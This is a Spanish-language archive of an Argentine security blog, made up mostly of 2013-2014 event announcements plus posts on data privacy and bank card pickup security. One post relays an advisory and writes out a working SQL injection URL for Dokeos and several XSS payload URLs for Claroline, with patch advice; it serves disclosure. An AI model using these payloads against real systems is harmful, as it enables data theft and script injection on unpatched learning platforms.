Detras del Fosforo Verde

Eventos en Argentina para lo que queda del año 2014

2014-11-20T14:59:00.000-03:00

Este 2014 se niega a despedirse sin antes hacernos disfrutar de unas espectaculares conferencias de seguridad. Ya pasaron la Ekoparty y la Risecon pero estos dos meses que quedan están cargados de eventos.

PampaSeg: Jornadas de Software Libre y Seguridad Informática

El primero de ellos es el PampaSeg, un evento que se realiza todos los años en la provincia de La Pampa.
PampaSeg nació de una simple idea, como cualquier otra, de la integración de tecnologias libres, del fruto de experiencias y vivencias de personas que día a día utilizan la tecnología, la seguridad y el software libre y quieren compartirnos sus saberes, métodos y descubrimientos con todos nosotros. El evento es libre y gratuito , y se llevara a cabo el 21 y 22 de noviembre de 2014 en la CASA DEL BICENTENARIO -Parque Don Tomás de la ciudad de Santa Rosa, La Pampa.

Gratuito
www.pampaseg.org

PWNConf Primer evento de Seguridad, SysAdmin y Networking

PwnConf nace con la finalidad de suplir la faltante de eventos técnicos en la ciudad de Mar del Plata y zona. Siendo la primer conferencia de carácter 100% técnico con una temática bien definida: Seguridad Informatica, SysAdmin/DevOpsy Networking. Contando en esta oportunidad con la presencia de expositores de distintas partes del país.

La idea detrás de pwnConf es brindar un entorno donde intercambiar conocimientos, compartiendo experiencias con amigos y colegas en un ambiente descontracturado e ideal para el aprendizaje.

La entrada es 100% libre y gratuita, pero limitada a la capacidad física del lugar, por lo que es necesario realizar una pre-registración
El mismo se realizará el día Domingo 23 de Noviembre de 2014 de 14:00hs a 23:00hs, en el el salon de La Pasiva [falucho 38, frente al mar] en la ciudad de Mar del Plata.

Gratuito
www.pwnconf.org

UID0 Secuity Conference

El evento se llevará a cabo durante los días 28 y 29 de Noviembre en las instalaciones de la Facultad de Ingeniería de la Universidad Nacional de Jujuy (Jujuy, Argentina).

El objetivo es generar un espacio de encuentro entre los profesionales, usuarios, activistas de la seguridad informática, con el afán de fortalecer las actividades que se realizan en las diferentes localidades del norte de nuestro país,para promover su uso y desarrollo y tomar conciencia de los riesgos .
La temática del evento es todo lo relacionado a la Seguridad de la información, como prevenir, vulnerar, implementación de políticas, certificaciones asociadas etc.

Gratuito
www.uid0.com.ar

Angeles y Demonios Security Conference

November 29th, 2014, Escuela Da Vinci - Av. Corrientes 2037,
Buenos Aires, Argentina

Andsec is a young hacking conference that gathers the different aspects of ITSec, from both defensive and offensive perspectives, contemplating a technical and philosophical approach.

Gratuito
www.andsec.org

Chubut Hack - I Conferencia de Seguridad Informática y Tecnologías Libres

La información es uno de los bienes intangibles más importantes de la sociedad actual; la gestión de los datos, aplicaciones y los sistemas informáticos se vuelven más vulnerables al tiempo que crecen las amenazas on line. Desde el IDES se trabaja en la formación y capacitación en el área de la Seguridad Informática y es en este marco que se organiza la Conferencia de Seguridad Informática “Chubut – Hack”.
Chubut-Hack nace de la necesidad de compartir conocimientos de punta sobre seguridad informática y tecnologías libres en la región Patagónica pero también busca la concientización empresarial, institucional, educativa y de nivel usuario estándar, prevención inespecífica y específica sobre su importancia.
El 13 de diciembre en la sede de nuestro Instituto de Estudios Superiores contaremos con la presentación de 4 exponentes de la seguridad que compartirán conocimientos y experiencias en empresas y organizaciones. También se desarrollarán temáticas de tecnologías de hard libre como hack-space´s, mini-fábricas tecnológicas, reversing de hardware, fabricación de drones, robótica y hacking social. Chubut-hack es la primera conferencia de este calibre de la región.

Arancelado
www.idestrelew.edu.ar

Esperamos que puedas aprovechar y asistir a alguno de estos eventos que por suerte no solo se realizan en Buenos Aires (para los que somos del interior se complica mucho viajar) y de esa manera se puede disfrutar de charlas y eventos distribuidos en todo el país.

Sitios Web que Ilegalmente brindan información de ciudadanos Argentinos

2014-05-25T17:48:00.000-03:00

Desde el año pasado que de la mano del Lic. Cristian Borghello (reconocido por ser el creador de Segu-Info una de las web referentes sobre Seguridad Informática en Argentina) se inició una campaña de denuncia a varios sitios que recopilan información sensible de todos los argentinos de forma ilegal.

Se procedió a enviar una petición a la Dirección Nacional de Protección de Datos Personales (DNPDP) y muchas personas firmaron alegando su desacuerdo con dichos sitios web.

En un primer momento la respuesta fue:

Estimado Sr. Borghello:

En respuesta a su mail le informo que el sitio www.buscardatos.com se encuentra registrado en EEUU, no obstante lo cual, para tratar datos de personas domiciliadas en nuestro país, debe cumplir con la ley argentina (Ley N° 25.326).

Cabe aclarar que datos como el nombre, número de documento, domicilio, fecha de nacimiento, ocupación e identificación tributaria o previsional son datos que no requieren del consentimiento del titular para su tratamiento (Ley N° 25.326, artículo 5°).

Sin perjuicio de ello, en algunos casos aparecen otros datos que la ley argentina no autoriza y por ello esta Dirección está realizando una investigación que tramita por Expte S04:0051115/2012.

Excepto que nos manifieste lo contrario, sumaremos este mail al mencionado expediente.

Atte.

Al dia de la fecha la respuesta de parte de dicho ente regulador fue, en varias ocasiones:

"Estamos haciendo notificaciones y de algunas no hemos tenido respuesta todavía, por lo que no tengo mucho para comunicarte."

Realmente muestra a las claras la falta de gestión de este tipo de ENTES REGULADORES permitiendo que muchos sitios lucren con nuestros datos personales desde hace ya varios años.

Cabria preguntarse si es un problema de Infraestructura Tecnológica de nuestro pais, un problema de gestión general de parte de dicho organismo que en su pagina señala como función principal:

Tiene a su cargo el Registro de las Bases de Datos, instrumento organizado a fin de conocer y controlar las bases de datos.Asesora y asiste a los titulares de datos personales recibiendo las denuncias y reclamos efectuados contra los responsables de los registros, archivos, bancos o bases de datos por violar los derechos de información, acceso, rectificación, actualización, supresión y confidencialidad en el tratamiento de los datos.

No quiero con esto alentar a la difamación de dicho ente, solo aclarar cual es su función ya que mientras los proyectos de personas que pierden su tiempo tratando de proteger los datos de todos los argentinos quedan "encajonados" como suele suceder en nuestro pais, los datos personales siguen estando públicos y al alcance de cualquiera.

Nos vemos Detrás del Fósforo Verde....

MercadoLibre Developers Conference 2014

2014-04-05T12:12:00.000-03:00

Por segundo año consecutivo, MercadoLibre desarrolla en Buenos Aires su principal encuentro de negocios, el cual reúne a desarrolladores, empresarios y grandes vendedores de la plataforma.

El fin del Developers Conference es presentarles a los desarrolladores las herramientas con las cuales explotar los servicios de MercadoLibre, para eso se realizan charlas técnicas y demostraciones de APIs, charlas sobre desarrollo para smartphones e introducciones a los sistemas de pago y publicidad de MercadoLibre. Además, habrán charlas dirigidas a los vendedores de la plataforma sobre cómo potenciar su negocio y aprovechar al máximo los servicios que ofrece la empresa.

La Developers Conference tendrá lugar el jueves 24 de abril, en el salón Golden Center, Parque Norte (Av. Cantilo y Guiraldes, en frente a Ciudad Universitaria. La jornada comienza a las 12:30pm y finaliza a última hora de la tarde. El evento es libre y grauito previa inscripción, la cual pueden realizar a través de Eventioz.

Saso Conf - Curuzú Cuatiá [Corrientes- Argentina]

2014-03-06T10:57:00.001-03:00

Primera Conferencia de Informática en Curuzú Cuatiá - Corrientes

Software Libre, Redes Libres & Seguridad

Viernes 14 y Sábado 15 de Marzo 2014

El evento se realizará en la Casa del Bicentenario en ubicada en Irastorza 1535, entre calle Soler y Las Heras.

Cronograma de actividades

Viernes 14 de Marzo
Registración
Presentación
Vladimir Di Fiore	Sobre el Software Libre
Osiris Gomez	Cooperativismo y Software Libre.
Liliana Arbelo	Educacion y Software Libre.
Receso
Héctor Sánchez	Responsable del equipo de desarrollo de Huayra.
Matias Gomez	Ofimática Libre con Libre Office.
Matias Ruggieri	Introduccion a servicios de red en el software libre, DHCP, DNS y SAMBA, desde Cero.
Jorge Franco	Redes Libres.
Hugo Kühnle	Voip en Redes Libres.
Moisés Ruiz Diaz	Por la plata baila el mono (Seguridad Bancaria).
Sabado 15 de Marzo
Presentación
Osiris Gomez	Graficar desde consola.
Brian Stanley	Escalando para 1 millon de usuarios.
Juan Sacco	Desarrollo de Exploit para 64 bit.
Receso
Matias Ruggieri	PFSense. Firewall y su importancia en la red.
Daniel Godoy	Beastie Project (Herramientas portables para realizar ataques).
Sebastián del Prado	Buceando en lo mas profundo de Internet, conozcamos la DEEP-WEB
Jorge Franco / Marcos Pablo Russo	Análisis forense con Centrux.
Fernando Toledo	Huayra Kernel Developer.
Juan Sacco	Kernel Hacking.
Cristian Amicelli	Tomando el control de Android.
Cierre / Sorteos

Para registrarte a la conferencia, lo podes hacer ACA

Organizada por CuruzúSASO (red digital libre en Curuzú Cuatiá, sin fines de lucro y con objetivos comunitarios). Más info. en http://www.curuzusaso.org.ar/

Mas info en la WEB DE SASO CONF

Flisol 2014 - Resistencia Chaco

2014-03-03T13:43:00.000-03:00

El Festival Latinoamericano de Instalación de Software Libre (FLISoL) es el evento de difusión de Software Libre más grande en Latinoamérica. Se realiza desde el año 2005 y desde el 2008 se adoptó su realización el 4to Sábado de abril de cada año.

Objetivo:

Su principal objetivo es promover el uso del software libre, dando a conocer al público en general su filosofía, alcances, avances y desarrollo.

A tal fin, las diversas comunidades locales de software libre (en cada país/ciudad/localidad), organizan simultáneamente eventos en los que se instala, de manera gratuita y totalmente legal, software libre en las computadoras que llevan los asistentes. Además, en forma paralela, se ofrecen charlas, ponencias y talleres, sobre temáticas locales, nacionales y latinoamericanas en torno al Software Libre, en toda su gama de expresiones: artística, académica, empresarial y social.

Día y horario:

Sábado 26 de Abril. A partir de las 8:00 hs.

Lugar:

Aula Magna de la Universidad Tecnológica Nacional

Facultad Regional Resistencia

French 414 - Resistencia - Chaco - Argentina

¿A quien está dirigido?

El evento está dirigido a todo tipo de público: estudiantes, académicos, educadores, empresarios, trabajadores, funcionarios públicos, entusiastas y aun personas que no poseen mucho conocimiento informatico.

Charlas y Talleres:

Se realizará un InstalFest donde podrás llevar tus equipos propios y se procederá a instalar Software Libre en los mismos de forma totalmente gratuita.
Además se brindarán interesantes charlas las cuales están siendo programadas y las publicaremos a la brevedad.
Si estás interesado en brindar una charla o un taller sos libre de hacerlo, solo contactate con los organizadores.
El evento es totalmente Libre y Gratuito pero a fines organizativos es necesaria una inscripción previa a través de la web del evento.

Mas información:

INSCRIPCIÓN AQUÍ

Web Flisol Resistencia

No siempre el banco tiene la culpa

2014-01-18T01:05:00.001-03:00

Hace unos dias he tenido la oportunidad de acompañar a alguien a retirar su tarjeta de debito de cierto banco y pude apreciar ciertos detalles de seguridad que no son muy tenidos en cuenta y que (como siempre sucede en estos casos) son detalles insignificantes que pasan desapercibidos para cualquiera.
En primer lugar la tarjeta es enviada al destinatario a traves de un servicio postal privado.
Para retirarla hay que asistir a las oficinas de dicha empresa postal muñido de su documento nacional de identidad.
Algo extremadamente difícil de falsificar y sumado al presente conflicto en Argentina donde aun se pueden realizar ciertas operaciones con 3 documentos diferentes ya que en el pais nos encontramos en una etapa de actualización del mismo.
En segundo lugar se nos entrega un formulario para completar con nuestros datos personales.
Otra vez algo totalmente dificil de conseguir a través de un correcto Information Gathering e imposible de suplantar identidad.
En tercer lugar se nos entrega un sobre con la tarjeta en su interior y la contraseña de la misma que siempre son los 4 últimos números del documento nacional de identidad.

Un dato que me llamo la atención: el 90% de las personas que salen de esta oficina lo hacen con el sobre y el documento en la mano en plena calle donde cualquier malintencionado puede querer evitar el antes mencionado Information Gathe..lo que sea e ir directamente al ultimo paso: la obtncion por Fuerza Bruta de la tarjeta junto al documento.

- No existe siquiera un guardia de seguridad en la oficina. Creí que solo era ese dia pero pase otro dia diferente y tampoco vi a nadie.
- No pude apreciar a simple vista la presencia de cámara de seguridad alguna.
- La persona encargada de darnos la tarjeta tiene que pasar al fondo a buscar nuestro sobre , dejando sin cuidado la computadora donde hace el registro de entradas y salidas y ni siquiera bloquea la pantalla.

Cabe aclarar que en dicho lugar el único tramite que se realiza es este.

Detalles sutiles que pueden ocasionar miles de problemas a mas de una persona.

Puedo sonar paranoico pero si yo pude observar eso en media hora no me quiero imaginar lo que observa alguien que "trabaja" de ladrón.....

Seamos un poco más precavidos en nuestro accionar diario porque no todos están observando lo mismo y algunos están esperando ese hueco, ese resquicio para tomarnos por sorpresa.

Coderetreat 2013 en Corrientes - Argentina

2013-12-12T00:30:00.001-03:00

Coderetreat es un evento práctico e intensivo de todo un largo dia, focalizado en los fundamentos del desarrollo y diseño de software. Con el fin de dar a los desarrolladores la oportunidad de ser parte de una práctica focalizada, fuera de las presiones de “Tener las cosas listas”, el formato de Coderetreat ha demostrado ser divertido y altamente efectivo para las mejoras de tus habilidades.

Por 32 horas el 14 de diciembre, cientos de Coderetreats serán parte en todo el mundo como parte del día global de Coderetreat. El día global de Coderetreat te ayudará a tomar conciencia de su magnitud y unirá a todos los participantes de todo el mundo. Lo más importante, el día global de Coderetreat , tiene como fin dar apoyo a los esfuerzos de encontrar, alentar y educar a la siguiente generación de desarrolladores de software (a través del fondo de contribución comunitario de la Coderetreat).

El pasado año, llegamos a una participación en 150 ciudades. Este año pensamos que aproximadamente 200 ciudades participarán con un promedio de 15 a 20 participantes por ciudad.

Para celebrar este gran evento, estaremos participando en algunos actividades globales en adición a nuestras actividades normales de Coderetreat.
Después del evento, saldremos a dar una vuelta, e iremos a algún bar a tomar algo! Será divertido!

Como los otros sitios de todo el mundo de Coderetreat , las inscripciones estarán abiertas hasta el 14 de diciembre en el siguiente link:

http://eventioz.com.ar/coderetreat-corrientes

Solamente necesitas traer una notebook con las herramientas de desarrollo que uses para escribir código usando tus lenguajes de programación que prefieras.

Este evento está organizado localmente por ComunidadTIC, BarcampNEA, Polo IT Chaco, NEA Valley, NEAExtends, GDG Corrientes, Polo IT Corrientes y la Universidad de la Cuenca del Plata.

http://globalday.coderetreat.org
http://coderetreat.org/about/c3f

Vulnerabilidades en Plataformas de E-Learning

2013-11-27T19:38:00.000-03:00

Ultimos reportes de vulnerabilidades encontradas en algunas de las plataformas virtuales de enseñanza o tambien conocidas como LMS (Learning Management System)
En estos dias se han publicado varios tipos de vulnerabilidades en estos sistemas OpenSource, algunos de los más conocidos como Dokeos, Chamilo y Claroline.
Asi como habiamos visto lo que sucede con Moodle, en esta oportunidad les toca el turno a las otras plataformas.

La gente de High-Tech Bridge Security Research Lab publicaron varios tipos de vulnerabilidades de tipo: Cross-Site Scripting (xss) y Sql Injection, ataques antiguos que aun al dia de hoy pueden ser tan poderosos como cualquier otro.

Por el lado de Chamilo:

La vulnerabilidad se debe a una validación insuficiente cuando se pasa un parámetro HTTP POST en "password0" del script "/main/auth/profile.php"
Un atacante remoto autenticado puede ejecutar comandos SQL de su elección en los datos de la aplicación.

El siguiente ejemplo nos muestra la versión del MySQL instalado:

La explotación de esta vulneravilidad requiere que no este configurado la encriptacion de paswoords de usuarios. Por default el "Encryption method" se configurado como "none".

Por el lado de DOKEOS:

Una smple injección SQL en el parametro "languaje" de la pagina index.php

http://[host]/index.php?language=0%27%20UNION%20SELECT%201,2,3,4,version%28%29,6,7,8%20--%202

En el ejemplo de puede ver la versión del MySQL server pero puede ser aprovechado para cualquier otro fin.

Por ultimo del lado de CLAROLINE se presentan varios XSS en la version 1.11.8

http://[host]/claroline/messaging/messagebox.php?box=%22%3E%3Cscript%3Ealert%28%27Chaque con el XSS%27%29;%3C /script%3E

http://[host]/claroline/admin/adminregisteruser.php?cidToEdit=94102_001%22%3E%3Cscript%3Ealert%28%27Chaque con el XSS%27%29;%3C/script%3E

http://[host]/claroline/admin/admin_user_course_settings.php?ccfrom=culist&cidToEdit=94102%22%3E%3Cs cript%3Ealert%28%27Chaque con el XSS%27%29;%3C/script%3E&uidToEdit=1

http://[host]/claroline/admin/module/module.php?module_id=4%22%3E%3Cscript%3Ealert%28%27Chaque con el XSS%27% 29;%3C/script%3E

http://[host]/claroline/admin/right/profile_list.php?cmd=exLock&offset=0%22%3E%3Cscript%3Ealert%28%27Chaque con el XSS%27%29;%3C/script%3E

Para finalizar vale aclarar que actualizes lo antes posible la version de tu plataforma.

Claroline: actualizar a la version 1.11.9
Dokeos: todavia no responde sobre el fallo pero podes solventarlo con esto.
Chamilo: solo se necesita configurar algunos parametros. Aca la web oficial

Fuente: web de Higth-Tech Bridge

A&D Security Conference - Argentina

2013-11-16T16:16:00.002-03:00

Los dias 12 y 13 de diciembre tendremos en nuestro país la oportunidad de disfrutar de una emisión mas de Angeles y Demonios Security Conference.
A&D es una conferencia joven creada con el objetivo de reunir diferentes aspectos de seguridad de la información, desde una visión Ofensiva y Defensiva. Durante el evento Profesionales de la industria hablarán sobre temas de interés y relevancia para la comunidad, siendo útil para cualquiera sea la mirada del asistente.

Lugar:
Instituto tecnológico ORT, en el barrio de Almagro, Ciudad de Buenos Aires.
Río de Janeiro 509 (entre Av. Díaz Vélez y Bartolomé Mitre)

El evento comenzará a las 9:00Hs con una registracion de los asistentes.
Como la sala de conferencias tiene un cupo limitado es conveniente que te registres lo antes posible para reservar tu lugar.

El evento, contará además de las tradicionales charlas, con:
Wargames,
Desafio Forense,
OpenTalks (donde los asistentes podrán enviar a la organización una charla sobre un trabajo o una investigación actual, para poder presentarla en la conferencia.),
Workshops
TULZ (donde desarrolladores de la comunidad nos mostrarán herramientas que crearon, y el asistente podrá interactuar con el creador de forma personal y directa).
Lockpicking Village

Si estás interesado en disfrutar del evento de manera presencial tenes que registrarte
REGISTRO

Si no podés asistir no te procupes que vas a poder seguir el evento a través de Streaming, algo que se agradece a los organizadores ya que a los que vivimos en el interior se nos hace difícil poder viajar a la capital para disfrutar de las charlas.-

Aqui la Agenda de los dos dias que se mantiene hasta el momento.

DIA 1 - 12 de Diciembre

1000 AM - Los límites éticos y legales que no podés cruzar en una investigación, o sí
Sebastian Bortnik
1030 AM - Hacking Router's with FeeeBSD
Alexis Sarghel / Diego Gutierrez
1115 AM - Openpgp y HTTP: Alta fiesta?
Buanzo
1200 AM - Break
1215 PM - Workshop Fail2ban
Buanzo
1315 PM - Almuerzo
1430 PM - Workshop Lockpicking
Babak Javadi
1530 PM - Break
1545 PM - Life as a Cracker, mitos y verdades
Alberto Ferrer / David de Asis
1630 PM - Brazilian cybercrime underground: Modus Operandi
Ronaldo Lima / Aline Bueno
1715 PM - Facebook Hacking Tool
Gustavo Ogawa

Auditorio 2
1215 PM - Workshop Cryptography 101
Paulo Veloso
1430 PM - Workshop Python para pentesters
Cristian Amicelli

__________________________________________________________________

DIA 2 - 13 de Diciembre

0900 AM - Registración
0930 AM - Bienvenida
0940 AM - La Ética del Hacker
Valentin Muro
1000 AM - Conociendo Huemul distro para informatica Forense
Marcos Russo / Vampii / Gonzalo Zaccardi
1045 AM - Pivoting in Amazon clouds
Andres Riancho
1130 AM - Break
1145 PM - Uso de la Ingeniería Inversa de código en la detección de vulnerabilidades
Eugenia Bahit
1230 PM - A confirmar
1315 PM - Almuerzo
1430 PM - Hacking RFID
Babak Javadi
1515 PM - Temas avanzados de Rootkits
Marcos Schejtman
1600 PM - Break
1615 PM - Hackers University: Out of The Matrix
Fede Pacheco
1645 PM - Desde Dig a la Destrucción de RSA
Cristian Amicelli
1745 PM - Cierre / Sorteos / Show
1830 AM - Fin Round 2

Auditorio 2

De 10:00 a 11:30 AM - OpenTalks

1145 PM - Aula 1 | TULZ - w3af Andres Riancho
- Aula 2 | TULZ - PC táctil Daniel Dieser
1230 PM - Aula 1 | TULZ - Secure TDD Carlos Pantelides
- Aula 2 | TULZ - vScan Federico Massa

De 1430 a 1600 PM - OpenTalks

La entrada al evento es Libre y Gratuita - No te lo pierdas!!!

Web del Evento: https://www.andsec.org/

PampaSeg 2013 [La Pampa - Argentina]

2013-11-11T18:24:00.004-03:00

El 22 y 23 de Noviembre en la Provincia de la Pampa se celebra las Jornadas d Software Libre y Seguridad Informática.

En la ciudad de Santa Rosa, provincia de la Pampa el mes de Noviembre nos deleita con un capitulo más de este evento de Seguridad Informática.

Desde las 9:00 AM comenzaran las acreditaciones y durante dos dias podrás disfrutar de charlas con alto contenido técnico, sobre problemas de seguridad actuales al mismo nivel que muchos otros eventos en distintos países.

Como señala en su web:

PampaSeg nació de una simple idea, como cualquier otra, de la integración de tecnologias libres, del fruto de experiencias y vivencias de personas que día a día utilizan la tecnología, la seguridad y el software libre y quieren compartirnos sus saberes, métodos y descubrimientos con todos nosotros.

CHARLAS DIA VIERNES 22

10:00 - Security in Personal Analitycs - Juan P. Braña
10:50 - Active Crime - Luciano Laporta
11:40 - Ingeniería Social - Ignacio Allende
14:00 - OpenStreetMap datos abiertos, Software Libre - Fernando Sanz
14:50 - Potenciando tu Router - Daniel Godoy
15:50 - FreeBSD Jails - Alexis Sarghel
16:40 - Multiple TOR Relay Environment
17:30 - Asegurando Servicios Web con Software Libre - Maximiliano Castro y Lautaro Bifano

CHARLAS DIA SABADO 23

09:30 - Desarrollo de Exploits - Juan Sacco
10:00 - Hack Pinneaple - Cristian Amicelli
10:50 - Mobile Apps and How To Pentest Them - Gustavo Sorondo

Aqui podes ver el CRONOGRAMA oficial

y Esta es su PAGINA OFICIAL.

Es Libre y Gratuito no te lo Pierdas!!!

The Original Hacker - Nuevo E-Zine

2013-11-05T14:52:00.002-03:00

Hoy 5 de noviembre de 2013 sale a la luz la primer edición, enterate de que se trata y como conseguirla
Como lo presenta su propia autora, Eugenia Bahit este magazine tiene un espíritu basado en la libertad y el verdadero Hacking.

No nos sorprendería para nada encontrarnos con una publicación colmada de buenos artículos y excelente nivel tanto de redacción como de diseño ya que la autora también esta a cargo de Hackers&Developers Magazine otra excelente publicación.

El nombre “The Original Hacker”, lo elegí en alusión al original sentido del término Hacker. De allí, surge lo de “original” (en inglés). El lema, “jugando con la inteligencia”, tomado de la definición del término Hacker hecha por Richard Stallman (uno de los creadores del término), viene a recalcar este espíritu del verdadero Hacking.

Y el Objetivo segun aclaran:

lograr un compilado de información para profesionales a los que realmente les apasiona su carrera; para quienes verdaderamente disfruten jugando con la inteligencia, más allá de la tecnología.

De por si ya tiene muy buena pinta con lo temas a tratar que son entre otros:

Shell Scripting: Python y Bash
Seguridad informática basada no solo en seguridad de aplicaciones en capas a nivel de código, sino también, en protección a nivel sistema;
Ingeniería tradicional de Software.
Ingeniería Inversa.
Taller de desarrollo y laboratorio con Europio Engine (Motor MVC para aplicaciones modulares en PHP creado por Eugenia)

No dudes en descargarla y comentarla y de esa manera ayudar a difundir estos proyectos que nos llenan de conocimiento y aportan muchísimo tanto a las personas que recién comienzan como a los que están en esto hace años...

Más info:

www.originalhacker.org/

Jornadas de Actualización en Tecnologías Innovadoras 2 [Corrientes - Argentina]

2013-09-19T18:18:00.001-03:00

Evento Gratuito en la Unne de Corrientes. El dia 27 de Septiembre. Mas información...

Lugar: Unne - Facena - Corrientes, Argentina
Direccion: 9 de Julio 1449 - Aula Magna

Dia: Viernes 27 de Septiembre de 2013

Horario: desde las 18:30 Hs hasta las 21:00 Hs.

Para inscribirse: eventoinformatico@gmail.com
Incluir Apellido, Nombre y DNI

Charlas:

Creando REST APIs en Symfony2
Experiencias creando una API Rest con el Framework de PHP, Symfony2
Disertante: Jonatan Frank

Desarrollo Web Profesional con Drupal
Como abordar un desarrollo web complejo con Drupal utilizando las mejores herramientas disponibles.
Disertante: Agustín Casiva

Conceptos Fundamentales del Testing Manual
Cual es el trabajo de un especialista en control de calidad manual, cómo encara los procesos, diseños de casos de prueba, el rol dentro del equipo de desarrollo, etc.
Disertante: Esteban Rios Solis

Vagrant for the people
Una solución a los problemas de setup de environments. Cómo usarlo, pros y contras.
Disertante: Luis Gerzenstein

Se emitirán certificados de asistencia.

Joinea 2013 - Apostoles , Misiones

2013-08-18T17:41:00.000-03:00

Nueva fecha para el evento Informatico que se realiza cada año en la provincia de Misiones...
La Jornada de Integración, Extensión y Actualización de estudiantes de informática (JoInEA) es organizada por una comisión de alumnos de las carreras de informática de la Facultad de Ciencias Exactas, Químicas y Naturales de la Universidad Nacional de Misiones.

La fecha para la Jornada: 6,7 y 8 de Septiembre.

Lugar: Universidad Nacional de Misiones. Facultad de Ciencias Exactas, Químicas y Naturales

(Carlos Pellegrini 269).

Una Jornada muy interesante nos espera en Misiones, además de que junto al amigo Brian Stanley @BrianStanley95 seremos los encargados de abrir la jornada con nuestra charla: Memcached y su implementación en redes de alto tráfico.

Cronograma– 5ta. JoInEA
Área Temática	Inicio	Fin	Tema	Autor/es
Área Temática	Inicio	Fin	Tema	Autor/es
Viernes
Viernes
	07:00	08:30	Acreditaciones
	09:00	09:45	Acto de Apertura
ARSO	10:00	10:40	Memcached y su implementación en redes de alto tráfico	Brian Stanley - Moises Ruiz Diaz
ASI	10:50	11:30	Un algoritmo genético para la conformación de grupos de individuos distantes en redes sociales	Lic. Eduardo Zamudio
ASI	11:40	12:10	Capacitación en Bussines Intelligence	ASC. Fernando Guerrero
Almuerzo
ARSO	15:00	15:40	WebGL	Diego Cantero
IS	15:50	16:20	Software y Producción de Software	Lic. Sergio Caballero
TIAE	16:30	17:00	Aulas Virtuales 2.0	Gaston Caminiti
Break
IS	17:20	17:40	Métodos Computacionales para Soporte de Actividades de la Crítica Genética	Lic. Martin Ray
BDMD	17:50	18:20	Analisis de consultas clásicas y difusa en la implementación de una base de datos relacional difusa	Lic. Ruben Urquijo
TIAE	18:30	19:30	Nuevos Desafíos en la gestión de empresas IT apostando a la educación	Equipo Hydras
	21:00		Peña

Sábado
Área Temática	Inicio	Fin	Tema	Autor/es
Área Temática	Inicio	Fin	Tema	Autor/es
IS	09:30	09:50	Generación de un Algoritmo de Ranking para Documentos Científicos del Área de las Ciencias de la Computación	ASC. Lisandro Solonezen - ASC. Esteban Martini
IS	10:00	10:40	Social Media y el cambio en la comunicación de las empresas	Agustin Bella
IS	10:50	11:30	Introducción a tecnologías alternativas Node js y Mongo DB	Equipo Hydras
Almuerzo
IS	15:00	15:40	Situación actual de agentes de turismo respecto a la implementación de las tic en la Provincia de Corrientes	Melisa Stefanía Romero Benítez
ARSO	15:50	16:30	Firefox OS: La web es la plataforma	Pablo Cúbico
ASI	16:40	17:10	Diseño e implementación de un sistema multisensorial en un robot móvil autónomo controlado mediante un sistema experto basado en reglas y evaluación de la navegación en entornos semiestructurados	Lic. Enrique de Silvestre
Break
ARSO	17:30	18:20	Sistema de Geolocalización de clientes, vendedores y repartidores con VGM Sistemas	Equipo VGM Sistemas
IS	18:30	19:10	Virtualización para Desarrolladores	Lic. Sergio Vier
IS	19:20	20:00	¿Qué es la Deep Web?	Justo Sebastian del Prado
	22:00		JoInEAFest

Mas info: http://joinea.com.ar/

Primer Workshop de Seguridad Informática [Entre Rios- Argentina]

2013-07-08T13:00:00.003-03:00

Los integrantes del Laboratorio Gugler organizan para el próximo viernes 12 de julio el Primer Workshop de Seguridad Informática. El mismo se realizará en el Aula Magna "Juan Carlos Canavelli" de la sede Oro Verde de la Facultd, Ruta 11, km 10,5.

El objetivo de la actividad se fundamenta en que "hoy en día con el crecimiento de Internet y de las
aplicaciones Web se hace necesario contar con conceptos y herramientas para asegurar la información. La seguridad como tal es un concepto que debe aplicarse en todas las etapas del ciclo de vida del software, así como también en la infraestructura y en el entorno que lo contiene. El objetivo de este Workshop es el de mostrar posibles ataques y problemas en la seguridad así como también posibles soluciones y formas de mitigarlos”.

Información
Lugar a realizarse: Facultad de Ciencia y Tecnología - Oro Verde (Ruta 11 - Km 10.5).
Inicio de inscripción: 4 de Julio de 2013.
Fin de inscripción: 11 de Julio de 2013.

Fecha de realización: viernes 12 Julio de 2013, a partir de las 15:30 horas.

Cronograma
El taller comienza con 30 minutos de anticipación respecto de lo planificado con el objetivo de que los participante se acrediten, facilitando la organización del evento y la confección de certificados que se entregan al finalizar o en semanas próximas de culminado el evento.

15:30 a 16:00 hs. - Acreditaciones
16:00 a 16:15 hs. - Presentación del Evento (a cargo de las Autoridades)
16:15 a 16:30 hs. - Introducción y Presentación de las Charlas del Evento
16:30 a 17:15 hs. - Distributed Denial of Service (DDOS) for Dummies
17:15 a 18:00 hs. - Contraseñas Seguras? (Password Cracking and Phishing)
18:00 a 18:15 hs. - Cofee Break
18:15 a 19:00 hs. - Secure Programming I
19:00 a 19:45 hs. - Secure Programming II
19:45 a 20:00 hs. - Cierre del Evento

Por consultas
dirigirse a:
contacto@gugler.com.ar
http://www.gugler.com.ar/
http://workshop.gugler.com.ar/

Hackathon Express 2013 [Corrientes-Argentina]

2013-06-19T20:13:00.001-03:00

La segunda edicion de este evento se realizará el dia 6 de Julio en la provincia de Corrientes, República Argentina.

El evento será en la Facultad de Ciencias Exactas, Naturales y Agrimensura –FACENA- de la Universidad Nacional del Nordeste –UNNE- , sita en 9 de Julio 1449, siendo totalmente gratuito, desde las 9,00 hasta las 21,00 horas.

En esta jornada, desarrolladores de software competirán todo el día programando en equipo. Simultáneamente se realizarán charlas con temáticas TIC para todo público. Además se invita a las instituciones educativas u organizaciones que quieran asistir con sus alumnos para observar e informarse como es el trabajo de un desarrollador informático.

Hackathon Express cuenta con el respaldo institucional de la FACENA por Resolución Nº 469/13 y de la Universidad Tecnológica Nacional, Facultad Regional Resistencia, por Resolución Nº 366/13, estando en gestiones más avales de otras instituciones educativas de la región.

Certificaciones

Las certificaciones que se darán:

Participación: se extenderá a los desarrolladores que participen en la maratón usando diferentes tecnologías.

Asistencia: Al público en general que asista a las charlas.

Colaboración: A los que de una u otra manera hayan contribuido a la organización del evento.

¿Qué es un Hackathon?

La palabra “hackathon” proviene de las palabras “marathon” y “hackers”, ambas se definen como marathon de desarrollo, donde los participantes reunidos trabajan de manera colaborativa aplicaciones informáticas.

El año pasado en la Primera Edición de Hackathon Express participaron exitosamente 14 equipos con 4 integrantes como máximo; conformado por estudiantes, profesionales, idóneos, de distintas instituciones académicas, empresas e independientes, quienes además de competir compartieron una jornada de intercambio de experiencias y conocimientos.

El objetivo de este año es también mostrar e informar como es el trabajo de los desarrolladores, qué hacen, cuánto tiempo lleva programar, y qué es programar, entre otros; por ello se invita a las instituciones u organizaciones que quieran asistir con sus alumnos para informarse sobre ello.

http://hackathonexpress.com.ar/

Crean un subprograma de prevención del “cyberbullying” [Chaco-Argentina]

2013-06-15T13:56:00.000-03:00

